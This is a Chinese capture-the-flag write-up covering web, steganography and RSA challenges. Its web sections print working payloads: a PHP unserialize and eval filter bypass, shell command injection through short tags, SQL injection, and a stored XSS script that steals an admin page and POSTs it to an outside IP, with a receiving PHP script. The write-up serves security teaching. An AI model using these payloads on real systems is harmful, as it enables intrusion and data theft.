0%

第四届海啸杯 Write Up

WEB1

<?php
highlight_file(__FILE__);
$username = str_shuffle(md5("admin"));
$password = str_shuffle(md5("root"));

$login = false;
if (isset($_GET['str'])) {
    $str = $_GET['str'];
    $unserialize_str = unserialize($str);
    if ($unserialize_str['username'] == $username && $unserialize_str['password'] == $password) {
        $login = true;
    }
}

if ($login && isset($_GET['code'])) {
    if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
        if (!preg_match('/highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode/i', $_GET['code'])) {
            eval($_GET['code']);
        } else {
            echo "含有危险函数" . "<br/>";
        }
    } else {
        echo "不符合正则表达式" . "<br/>";
    }
}

题目可分为两部分,一是通过if语句判断使$login的值变为true,二是通过eval函数执行我们想要的代码拿到flag

$unserialize_str = unserialize($str);
if ($unserialize_str['username'] == $username && $unserialize_str['password'] == $password) {
    $login = true;
}

虽然我们不知道$usernam$password的值,但可以在if语句中使用的判断为==

由于php是弱类型语言,所以bool值为true的变量和任何变量比较都相等,除了0和false,因为0认为是bool false

由此构造$str

<?php
$a = array(
    "username" => true,
    "password" => true
);
echo serialize($a);
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

这样便能使$login被赋值为true


接下来要执行eval函数,需要通过两个if语句

  • /[^\W]+\((?R)?\)/要匹配无参数的函数,函数内部可以无限嵌套相同的模式,也就是说只匹配字符串+()的类型,并且括号内为空字符串字符串+()
  • 不能使用highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode这些危险函数,包括大小写

scandir()函数返回指定目录中的文件和目录的数组,所以scandir('.')会返回当前文件所在文件夹的目录

var_dump(scandir(‘.’));

但这样无法通过正则表达式,需要讲scandir内部替换为/[^\W]+\((?R)?\)/

chr()函数会返回指定的 ASCII 值对应的字符,而.对应的ASCII值为46

由此构造出:var_dump(scandir(chr(46)));

现在只需要想办法讲构造出一个返回值为46的嵌套函数即可。


查看php版本

?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=phpinfo();

版本号为:7.2.24

phpversion()返回7.2.24-0ubuntu0.18.04.7

floor(phpversion())返回7

sin(floor(phpversion()))返回0.65698659871879

sin(sin(floor(phpversion())))返回0.61073350824527

cos(sin(sin(floor(phpversion()))))返回0.81922759437835

rad2deg(cos(sin(sin(floor(phpversion())))))返回46.938283618535

floor(rad2deg(cos(sin(sin(floor(phpversion()))))))返回46

这样便构造出46

?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=var_dump(scandir(chr(floor(rad2deg(cos(sin(sin(floor(phpversion())))))))));

返回

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".DS_Store" [3]=> string(9) "index.php" [4]=> string(16) "this_is_flag.php" }

flag在this_is_flag.php中,刚好在最后一个文件,通过end()读取最后一个文件,再通过show_source()打印,这样就得到最终的payload:

?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=show_source(end(scandir(chr(floor(rad2deg(cos(sin(sin(floor(phpversion()))))))))));

附:

php 5.x
?code=var_dump(scandir(chr(floor(rad2deg(sin(cos(cos(floor(phpversion())))))))));
?code=show_source(end(scandir(chr(floor(rad2deg(sin(cos(cos(floor(phpversion()))))))))));

WEB2

红明谷签到,WP都发到群里面了没人看。

  • 简单题
  • 用短标签绕过对php的过滤,$IFS$9代替空格。
?action=upload&data=<?=`ls\$IFS\$9/`?>
  • 直接得到文件列表
!whatyouwantggggggg401.php
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
  • 直接用通配符读就好了
?action=upload&data=<?=`cat\$IFS\$9/*.ph*`?>

WX20210402-202932@2x

WEB3

  • 转义单引号然后注释掉后面的单引号成功逃逸,最后or拼接导致逻辑为真。登录。

WX20210406-203159@2x

  • 提示管理员每条都看,直接XSS先看看行不行,服务器监听一个端口:
WX20210406-203615@2x
  • 构造JS代码,提交至后台
WX20210406-203654@2x
  • 监听到管理员通过这个页面执行了这个JS
WX20210406-203801@2x
  • 构造XHR直接窃取管理员界面,xss.js
function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
    } else {
        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break
            } catch(e) {}
        }
    }
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
  if (xmlHttp.readyState == 4) {
        code=escape(xmlHttp.responseText);
        createXmlHttp();
        url = "http://39.107.126.173:28901/xss.php";   //这里是我们服务器接受的地址
        cc = "htmlcode=" + code +"&filename=index.html";
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.send(cc)
  }
};
xmlHttp.open("GET", "/admin_shark.php", true);//这块填写获得的后台地址。
xmlHttp.setRequestHeader("Referer", "http://127.0.0.1/");
xmlHttp.send(null);
  • 接受页面脚本:
<?php
        function js_unescape($str) {
                $ret = '';
                $len = strlen($str);
                for ($i = 0;$i < $len;$i++) {
                        if ($str[$i] == '%' && $str[$i + 1] == 'u') {
                                $val = hexdec(substr($str, $i + 2, 4));
                                if ($val < 0x7f) $ret.= chr($val);
                                else if ($val < 0x800) $ret.= chr(0xc0 | ($val >> 6)) . chr(0x80 | ($val & 0x3f));
                                else $ret.= chr(0xe0 | ($val >> 12)) . chr(0x80 | (($val >> 6) & 0x3f)) . chr(0x80 | ($val & 0x3f));
                                $i+= 5;
                        } else if ($str[$i] == '%') {
                                $ret.= urldecode(substr($str, $i, 3));
                                $i+= 2;
                        } else $ret.= $str[$i];
                }
                return $ret;
        }
        $data = js_unescape($_POST['htmlcode']);  //对获得源码js_unescape解码。
        $filename = $_POST['filename'] . date("y-m-d-h-i-s") . ".html";
        $myfile = fopen($filename, "w");
        fwrite($myfile, $data);
        fclose($myfile);
?>
  • 再次提交XSS攻击代码
WX20210406-204304@2x
  • 窃取到管理员页面源码得到flag:
WX20210406-204400@2x

隐藏的书

  • 这个字段如果是奇数那就可能是伪加密,改成偶数解压
WX20210406-205208@2x
  • 根据期刊论文编写脚本,解码就得到flag
<?php
/**
 * @param [String] Strings that need to be Unicode encoded。
 * @author [name] Gqleung
 * @date 2021-03-30 10:22:46
 */
function UnicodeEncode($str){
    preg_match_all('/./u',$str,$matches);
    $unicodeStr = "";
    foreach($matches[0] as $m){
        $unicodeStr .= "\\u".substr('0000'.base_convert(ord($m),10,16),-4);
    }
    return $unicodeStr;
}
/**
 * @param [String] Strings that need to be Unicode Decoded。
 * @author [name] Gqleung
 * @date 2021-03-30 10:22:46
 */
function UnicodeDecode($str){
    $result='';
    $UnicodeStrArry = explode('\\u', $str);
    foreach ($UnicodeStrArry as  $value) {
      if(empty($value))
        continue;
      $result .=  chr(base_convert($value,16,10));
    }

    return $result;
}
/**
 * @param  [String] Strings that need to be Unicode Decoded。
 * @param  [String]
 * @return [type]
 */
function encrypt($laws,$Hiddentext){
  $secret="";
  for($i=0;$i<strlen($Hiddentext);$i++){
    $temp = ord($Hiddentext[$i]);
    $temp = base_convert($temp,10,2);
    $temp = substr('00000000'.$temp,-8); 
    $temp = str_split($temp,4);
    foreach ($temp as $value) {
      $secret  .=  "\\u".substr('0000'.base_convert($value,2,16),-4);
    }
  }
  $secret = UnicodeDecode($secret);
  $Ci = explode(".",$laws);
  $Ca = $Ci[0].".";
  $Cb = $Ci[1];
  $Ciphertext = $Ca.$secret.$Cb;

  return $Ciphertext;
}
function decrypt($Ciphertext){
  $tmp = "";
  $laws = "";
  for($i=0;$i<strlen($Ciphertext);$i++){
    if(!(32<ord($Ciphertext[$i])&&ord($Ciphertext[$i])<127)){
      $tmp .= UnicodeEncode($Ciphertext[$i]);
    }
  }
  $tmp = explode('\u',$tmp);
  $m='';
  for($i=0;$i<count($tmp);$i++){
    if(empty($tmp[$i]))
      continue;
    $t  = substr('0000'.base_convert($tmp[$i],16,2),-4);
    $m .= $t;
    if(strlen($m)==8){
      $laws.=chr(base_convert($m,2,10));
      $m='';
    }
  }
  return $laws;
}
//$a = encrypt("Hello.Gzmtu",$flag = "flag{8f807f74-9088-11eb-b255-00163e0620b4}");
echo decrypt(file_get_contents('flag.txt'));
?>

你能看到图片里的flag吗

用Stegsolve打开key.gif查看详细信息,发现不是每一帧的时间都相同,时间间隔不是20就是30,考虑gif时间隐写

用kali自带的工具提取时间间隔

identify -format "%T" key.gif

得到:

20303020303020302030302020302020202030302030203020302030303030302030302030202020203030202030203020303030202030202030302020302030

20替换为030替换为1

<?php
$a = "20303020303020302030302020302020202030302030203020302030303030302030302030202020203030202030203020303030202030202030302020302030";
$a = str_replace('20', '0', $a);
$a = str_replace('30', '1', $a);

echo $a;

得到:

0110110101100100001101010101111101101000011001010111001001100101

通过网站在线转换二进制到字符串:http://www.txttool.com/wenben_binarystr.asp,得到:

md5_here

md5加密后得到:

623a3f3d828099e440475ce285c341ac

即为hint.rar的密码

解压之后得到两个文件

  • hint.txt
使用邻近法放缩图片
图片的宽度和高度在width_height.txt
  • width_height.txt

显然width_height.txt是一组坐标的集合,通过python将这些坐标输出到图片上

from PIL import Image
img = Image.new('RGB', (200, 200), (0, 0, 0))
f = open('width_height.txt')
for line in f.readlines():
    point = line.split()
    img.putpixel((int(point[0]), int(point[1])), (255, 255, 255))
f.close()
img.show()

会得到一张二维码

扫码得到:

width:192 height:90

最后通过PS打开flag.png,按住Ctrl+alt+I调整图片大小

宽度:192,高度:90,使用近邻法放缩

  • flag
flag{Th1s_1s_4_h1dden_F14g}

神秘的铃声

解压得到flag.wav文件010打开存在一个base64

WX20210406-205500@2x

  • 扔Burpsuite解码是PK头说明是ZIP文件,右键Copy to file保存为ZIP文件
WX20210406-205625@2x WX20210406-205744@2x
  • 但是解压需要密码:
WX20210406-205835@2x
  • 刚刚那是一个WAV文件播放是一段DTMF音频,也就是电话机按键的声音,珠海教案有提到一个网站能够识别这个音频,当然也可以写脚本识别。
WX20210406-210020@2x
  • 解码得到压缩包密码:D#*C9A16B
微信图片_20210406165942
  • 解压得到flag.txt是一串坐标,将其转换为图片得到二维码扫码得到flag:
from PIL import Image
img = Image.new('RGB',(500,500),(0,0,0))
#创建Image对象
f = open('flag.txt')#打开flag.txt文件
for line in f.readlines():
    point = line.split()
    img.putpixel((int(point[0]),int(point[1])),(255,255,255))
#读取文件中的每一行,并修改像素
f.close()
img.show()
WX20210406-211110@2x

神秘的网站

  • 扔到wireshark分析根据题目提示是一个神秘的网站,只需要找HTTP即可。hint提示了上传包那么:直接filter过滤出所有POST协议迅速就能找到上传包。
WX20210406-212102@2x
  • 追踪HTTP流发现存在ZIP文件
WX20210406-212311@2x
  • 找到数据包中的ZIP导出为分组字节流保存为zip 文件
WX20210406-214128@2x
  • 得到一个文件和一张图片
WX20210406-214353@2x
  • 图片只能看到一部分说明chunk被破坏过用010打开可以发现chunk4长度很奇怪应该被改过
WX20210406-214609@2x
  • 将其改大可以恢复图片得到一串字符串
WX20210406-214757@2x
  • 还有一个文件结合信条这部电影讲述的就是倒过来的世界所以flag文件可能就是倒过来的文件。
WX20210406-214951@2x
  • 可以看到文件结束是KP可能是PK的倒置,我们写个脚本将其倒置回来:
<?php 
$a = file_get_contents('flag');
file_put_contents("flag.zip",strrev($a));
?>
  • 得到压缩包,压缩包密码就是图片中那串字符串。解压得到一个音频:
WX20210406-215238@2x
  • 同样她也是倒放的音乐,咱们直接将其还原为正常的音乐,使用AU
WX20210406-215422@2x
  • 倒置后网易云识别
WechatIMG2034
  • 评论区拿flag:
WechatIMG87

数学很重要

需要分解n,得到p和q,才能拿到m,即flag

在题目中有:d = gmpy2.invert(e, p*(p-1)*(q-1))

由此来推导模数n的分解:
$$
e * d = k * p * (p-1) * (q-1) + 1
$$

$$
(e * d)^e = [k * p * (p-1) * (q-1) + 1]^e
$$

$$
(e * d)^e = K * p + 1
$$

$$
(e * d)^e % n = (K * p + 1) % n
$$

$$
(e^e % n * d^e % n) % n = (K * p + 1) % n
$$

$$
(e^e * d^e % n) % n = (K * p + 1) % n
$$

$$
(e^e * d^e % n - 1) % n = (K * p) % n
$$

$$
(e^e * d^e % n - 1) + t*n = K * p
$$

$$
\frac{1}{K} * (e^e * d^e % n - 1) + \frac{t}{K}*n = p
$$

$$
p = gcd((e^e * d^e % n - 1) % n, n)
$$

$$
p = gcd((e^e * hint - 1) % n, n)
$$

至此可以分解n = p * p * q,进而求出m

import gmpy2
import libnum

n = 1404864792885309108733640159316826506894236287548379939152849016743435983442699747921846125787195996033503870282773818470039914142701705451809138397049630572740639249477647644261254708528772540978792294225346035639261591427432057453936860038832354440430427494151140007167188185298912810715582637875006928402468687609650245843893636726667943630230916699610263246417106899540475644300775129490776223094431047266427439282518682724978986466077711523145747674327332051810519026006226118101950866725315377926329640394039034742537816196415220996830129516878556074570587486143579684121551028517709279020939236578960627017120428642424734081608822839438555638805913188881032407815526804750217289667978469999465893012019987646121081067553285784264938579036090518539835310642939403312387248525506990916704179728785567091817175793341264114889237623098808526580508172221259938132204690459668424325728699548951520597516996306695162612026923
c = 1056621132858553337843799531931829780532909526893598349757065810082614861897005399538516022339385456921080981930134553531451997667616780694476473935635850906657287327947505250813121839115712839784961838878589687696392168999007259428943177170885096149257761111375426947276207008555385135699868532336069097451167698609146202623839343749042437332344304731408930972252319186875629139934202497457999728524999876011248799301721947182662277983045924969387711620125568428544081394563081888004751018879893766348092204921968270651820590342957624989796768741978229821705472159840676453778980085893882942690791813978120574188104366811115515943434915719899354094207665657376073518852691150218789684229024823845100939031274257318172046382806032216330957494501967155244691377918879968703887945579606252867891939345438276905409978552743142300094751510214632116779662364652019422074762160221347591144466572300812675526052926724548943468469723
hint = 101794688716785217887960897945591243956989900037427176767666512559791995985108215779421011313213384758689708929722203071477840953013038647100924911493828188106127504843466854689586463951519895573419515062134362771498167243657486890676780200214663789335950289873729808283135837361560831229580803000690276177751767706193356374011845264745277604824551554541736615017289493676579496259064630875246918064858049304827949231835533001170204905788972411679518681180136352305431808979840858420025675441100205234779010351872551760580862818923553046506121627173411616799109177911982734522304097798381596915860520993100826264630451736911320052426159472868988436162344618566093403661349180934448297588983261629039054368903969451215957019928944985865422734016492501757272819066148585342366043951355199543153844023840418108988483011676230567828688205989252493165991940377092334291423942549979314542332470846061006424871389380351025361150311
e = 0x10001

p = gmpy2.gcd((pow(e, e) * hint - 1) % n, n)
q = n // pow(p, 2)
phi = p*(p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))
  • flag
flag{Mathematics_is_very_important!}

easyRSA

已知c、e、n1、n2,只要能够分解n1,就能够拿到flag

在题目中n1和n2共用一个大质数p,所以n1和n2的最大公因数即为p,这样就能分解n1了

import gmpy2
import libnum

e = 65537
n1 = 19927995886914135335416406082647120895619334038709715664270614604151473749182691765161766917756826761209408429340053534661116540440455731883912107733536490306892185777306017692334819486621137392115368637822832208615896079869167332092773633150006570996052837028257313679389522817781164233607188350606757597836490056930318266077647703629309920052447748365274174530490094908252256551706625163193805930254664728936230312618043386165963458944225026036816776258340041222542638064896328642143272486093326421275373201421890802797828158807121957406664052135737278317985129996476960525575320786302386904366901933941877871977923
n2 = 18891582332322922179757256935338383228362622765536723954262749118724360227437890613511811834258619933112000032816774390665802252670355559592889246899049387975273869584023100438870426265843757686044290924963164327025399130980205072334359825236874676865799829315906270559180981769846264222745663893031262917781276708151305378259082579089031371101323253330053986819164120184785001094503410745573822883437760154804937523455385157947633996347870180978374764506128842545299334183115882288528664242409706229889871455032394406814666870814759869179655535890356720047754561351306758635949531548031922969386197250253432717160713
c = 13464724434881083014378360688491414344998156133411847847874051353940035862995104112542330206199732554180770508723141951625606376158124527681508374976085150535523169426812879850201999337951347258663163526945777620586135979743047015305904146804741356004618021619877806139998460893541631182931447449498967591502111403371136690476476964569301404706879044022446236796126968424261474149501366709514040581812492269780027443526915046387838380291031527967274048028552563236517463115042981801314702717397461735551656092225777678039402709019728332707310411968980746101194493745338399939010674127078293589259391068943187148009190

p = gmpy2.gcd(n1, n2)
q = n1//p
phi = (p-1)*(q-1)

d = gmpy2.invert(e, phi)
m = pow(c, d, n1)
print(libnum.n2s(int(m)))
  • flag
flag{u5e_the_s4me_p}

##